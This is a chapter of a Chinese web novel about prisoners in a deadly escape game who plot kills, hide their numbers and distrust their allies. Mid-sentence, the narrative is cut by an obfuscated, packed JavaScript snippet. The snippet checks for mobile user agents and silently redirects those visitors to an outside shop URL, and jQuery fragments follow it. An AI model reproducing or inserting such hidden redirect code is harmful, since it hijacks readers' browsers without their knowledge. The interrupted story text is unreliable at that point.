纸片打着旋消失了,贺玉盈转过头,小程和明明就站在门口。
小程震惊地看着地上的尸体,捂住嘴,竭力克制自己不尖叫出声,“她、她、她死了?!是你干的!?”
贺玉盈摇摇头,“不是我。”
能将一个人的头骨砸碎,这人想必有很大的力气,贺玉盈再怎么看也不像有这么大力气的人,因此小程没多犹豫就相信了她的话,转而又问:“那是谁?”
停顿了好一会儿,贺玉盈才说:“是阿聪。我亲眼看见的。”
“疯了。”小程喃喃说,“难道素心也是他……”
他没说完的话淹没在咽喉中。
明明扫了眼牢房里的情况,目光在贺玉盈身边的马桶上顿了顿,没说什么,只是别过脸,似乎对这样的惨状也有些于心不忍,“我们先出去吧。”
贺玉盈点点头,跨过小风的尸体,跟在他们身后出去了。
走廊里还是一片明亮,瓷砖四四方方贴得严丝合缝。竹子和阿聪都不在。
“我们、我们不告诉他们两个吗?”小程问。
“你想叫的话就去叫吧。”贺玉盈说。
小程一下子闭了嘴。
刚刚跨出牢房门没几步,从始至终都寡言的明明忽然顿住脚步,小程吓了一跳似的哆嗦着缩在一旁,贺玉盈则顺势靠在冰凉的墙面上。
明明转过头来,眉头紧锁,一副疑惑不解的模样,“阿聪他为什么要杀小风?”
“可能小风就是他的目标吧。”贺玉盈坦然道,丝毫没有顾及一旁的小程。
“太鲁莽了。”明明评价道。
“目、目标?”小程的脸色又白了几分,警觉地看着这两人,“果然,你们果然也有目标。所以你们才会杀人。”
明明仿佛这时才注意到他,认真地纠正道:“不是我们。我和她都没有杀人。”
“不。你们会杀人的。”小程的眼神猛然犀利起来,眸光闪动,俨然成了一个看破罪犯内心的侦探,笃定道,“你们肯定会杀人。只要确定了目标,你们就会像杀掉小风那样杀掉别人……杀掉我。”
非常难听的一段话,仿佛他和贺玉盈都成了罪无可赦的杀人犯,而他则高高在上地审判着他们,评论着他们的过错。可事实呢?这里是髓海,法律不是这里的准则。
更何况,他难道就不会动手杀人吗?在髓海杀掉一个人,就像在游戏里杀掉一个npc一样简单。谁玩游戏的时候没杀死过几个角色呢?冠冕堂皇。
明明说:“……你想得太多了,我们真的不会杀人。游戏的任务只让我们越狱,杀人这个任务我们也可以不做。他们杀人那是他们的问题,你说是吧,小玉?”
如果在三十分钟以前,贺玉盈可能会同意他的说法。
可是她却阴差阳错地完成了杀人任务,晋升为监守,并由此得知了所谓的“密钥”。如果她的直觉没错,越狱的必要条件就是这个“密钥”。一名监守掌管一部分密钥,当监守的数量增多到一定数目时,就能拼凑出完整的密钥。
密钥,就是监狱的钥匙。
杀人任务根本就不是可选任务,而是必做任务。而与已经成为监守的竹子合作,才是她目前的最优选择。
“嗯。”贺玉盈安慰说,“小程,你不要太担心。至少我是不会杀人的。”
她已经完成了任务,没有必要再自找麻烦。
小程:“……小玉,其实你最该担心的是你自己,再怎么样,我好歹也是个身强体壮的男人。”
七名囚犯,率先被杀死的两名囚犯都是女性。这其中固然有不幸的因素在,可是身为女性,在这类游戏里明显处于劣势。在余下的五名囚犯中,贺玉盈是唯一的女性,此刻她只能祈祷自己的编号还没有暴露。
不过也瞒不了多久了,素心和小风的死就表明已经有人意识到了编号的规律。她再努力隐瞒,也不过是拖延时间而已。
贺玉盈:“……”
“没事啊,我和小玉结盟了,我会帮她的。”明明笑了笑,说,“因为我和她确认过了,我们的目标都不是彼此。”
他这一句话说完,在场的三人都愣在原地。
原本还称得上轻松的氛围顿时凝滞起来,小程惊恐地睁大眼睛,双手颤抖,像是野外遇见狮子的蜜獾,下一步就想逃离。
明明的脸色也凝重起来,似乎是知道自己失言,脸颊鼓起,一眨不眨地盯着小程。
贺玉盈则眯起眼,作壁上观。
以小程的角度很容易理解他为什么突然如临大敌。在他的视角里,素心和小风相继被杀,就代表有两个人完成了自己的目标,而明明又一直信誓旦旦地表示他和她都没有杀过人。
小程不知道她的任务已经完成了。既然他们两人都声称没有杀过人,彼此也不是对方的目标,那么很大可能,明明和贺玉盈之间有一个人的目标就是他。
想通这一点了,也不怪他突然间警惕起来。其实他自己想也能想明白,不过明明的话将这个过程提前了而已。
而明明突然变化的脸色,在小程眼里,就是最好的佐证。
充满敌视的目光扫过两人,小程生硬地说了句“你们聊,我先走了”就迅速逃离了现场。
一直盯着他的背影在牢房门口消失,明明才收回视线,对贺玉盈说:“都怪我嘴快了。估计以后他要躲着我们了。”
贺玉盈:“没事。”
“……太不小心了。”明明十分懊恼。
“你不是说不会杀人的吗?”
明明歪了歪头:“那是说给他听的。如果游戏就是要杀人才能通关呢?”
闻言,贺玉盈一怔。
游戏就是要杀人才能通关吗?
世上有哪一种游戏,是必须要杀人才能通关的?
难道这局游戏还有其他的通关方法吗?就像安徒生小镇,最初她选错了道路,因此赢得相当难看。在这一局游戏,她也选错了道路吗?
可是她已经成了监守,即使错了,也没有回头的可能了。
明明似乎还想对贺玉盈说什么,但见贺玉盈一副恍恍惚惚的模样,心中以为她是后知后觉被小风的死状吓住了,便不再多说,叮嘱她注意安全后就回自己牢房去了。
贺玉盈靠着墙面,寒气从后心渐渐弥漫到全身,冻住了她的手脚。一片沉寂中,耳边传来了影影约约的嘈杂声,像是有人在克制地争吵。
血液缓缓流动,体温逐渐回暖,她终于在心中下了一个决定,最后看了眼竹子的牢房,过了一段时间,回到自己的牢房中。
在下一次餐食被送来之前,明明又一次溜到了贺玉盈的房前,询问她是否能进去。
“怎么了?”贺玉盈开门问。
明明语气焦急道:“小程去找竹子了。”
“他想跟他们结盟?”贺玉盈说,“他就不怕那两个人对他动手?”
“多半是这样。恐怕他现在觉得我们两个的威胁更大。”
“虽然他们杀掉了目标,但也不代表跟他们结盟很安全。”贺玉盈说,“小程是病急乱投医了,这对我们没有什么影响,你为什么要担心?如果阿聪和竹子要联手对付我们,我们肯定不是对手,多小程一个也没什么差别。”
明明:“……”
明明:“不是这样。我实话告
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898377|129932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
诉你吧,我的目标是七号……”
“这我知道。”
“我想说的是,”明明压低声音,用气声说,“小程,很可能就是七号。”
“他暴露自己了?”贺玉盈也板起脸,“这也太不明智了,真是昏头了。”
明明:“小玉你怎么抓不到重点!?小程如果跟竹子和阿聪结盟,我要杀掉他的可能性就变低了!”
“所以,你是想让我帮你阻止他结盟?还是想让我帮你杀掉他?”
明明盯着她的脸,“这还用说吗。”
贺玉盈硬着头皮和他对视了一会儿,终于像是败下阵来,妥协道:“好吧。可是你为什么确定他就是你的目标?如果随意杀人,很可能会让现状变得一团糟。”
她的语气纠结起来,面上流露出不忍的表情,“我不想随便就去杀人。”
明明知道她一定会帮他,除了他以外,她还能在髓海里依靠谁?如果她舍弃他,她就独木难支。
“……猜测。”明明说,“死掉的素心和小风肯定不是我的目标,你也不是,那就只剩竹子、阿聪和小程了。不管究竟是他们三人中的哪一个,试试又不会怎么样,万一小程是一号呢?”
贺玉盈说:“我想你弄错了,这局游戏只需要我们越狱,并不是要分成两队相互厮杀。万一你杀错人,有什么用?”
“如果杀错人,就当帮别人完成目标任务了。”明明的嗓音莫名有些阴测测的。
贺玉盈闻言浑身一震,下意识地后退半步,蹙起眉盯着他。
“你想说什么?”
“小玉,你对我们的结盟一点也不坦诚。”明明说,“为什么?因为你觉得我有事瞒着你?”
“难道不是吗?”贺玉盈没想到他居然直接挑明,看来是她犹犹豫豫,顾左右而言的样子终于惹恼了他。
他们之间的结盟就是如此脆弱不堪,任何一点敲击就能让它破碎。谎言和阴谋在他们两人的话语和眼神中交织,他知道她没有将信任托付给他,她也知道不该相信他。
“……我是有办法知道所有人的编号,这点规律很容易找到。就算我没有告诉你,你也应该已经知道了吧?”明明一边说,一边观察着贺玉盈的表情。见她表情没有一丝一毫地起伏,心中不由得发出一声冷笑,这个人果然也知道了编号的规律。
明明气愤自己寻找的队友如此不好对付,同时又可怜竹子的队友愚蠢至极,轻而易举被人玩弄于股掌之中,“小玉,比起你瞒着我的,我这完全不值一提。你以为我不知道吗?小风的编号就是一号,你已经完成了你的目标任务,你是监守了,对吗。”
他听到动静赶去小风的牢房时,小玉正专注地盯着马桶,冲水的声音在门外就能听到。起初他也怀疑是小玉杀掉了小风,他心中还诧异了一会儿,因为小玉完全不像是能直接动手杀人的人。如果她要犯下一桩杀人案,那一定是一桩经过深思熟虑,精心策划的杀人案,而不是如此粗糙、如此焦躁地杀人。
但是小风的死状打消了他的疑虑,因为没几个人能有这么大的力气能让一个人的头骨碎裂成那副模样。他们七人中,就只有阿聪拥有满足条件的体格。
可是阿聪为什么要杀掉小风?
假如小玉没有对他说谎,她的目标对象才应该是囚犯一号小风。
小风既然已经被杀,小玉为什么完全没有提起自己已经完成任务了?
难道他猜错了?他猜错了编号规律?
他满怀疑问地回到牢房静静呆了会儿,很简单,只需要稍稍一想就能把其中的关窍全部想清楚。
明明意识到自己的队友是个满口谎言的骗子。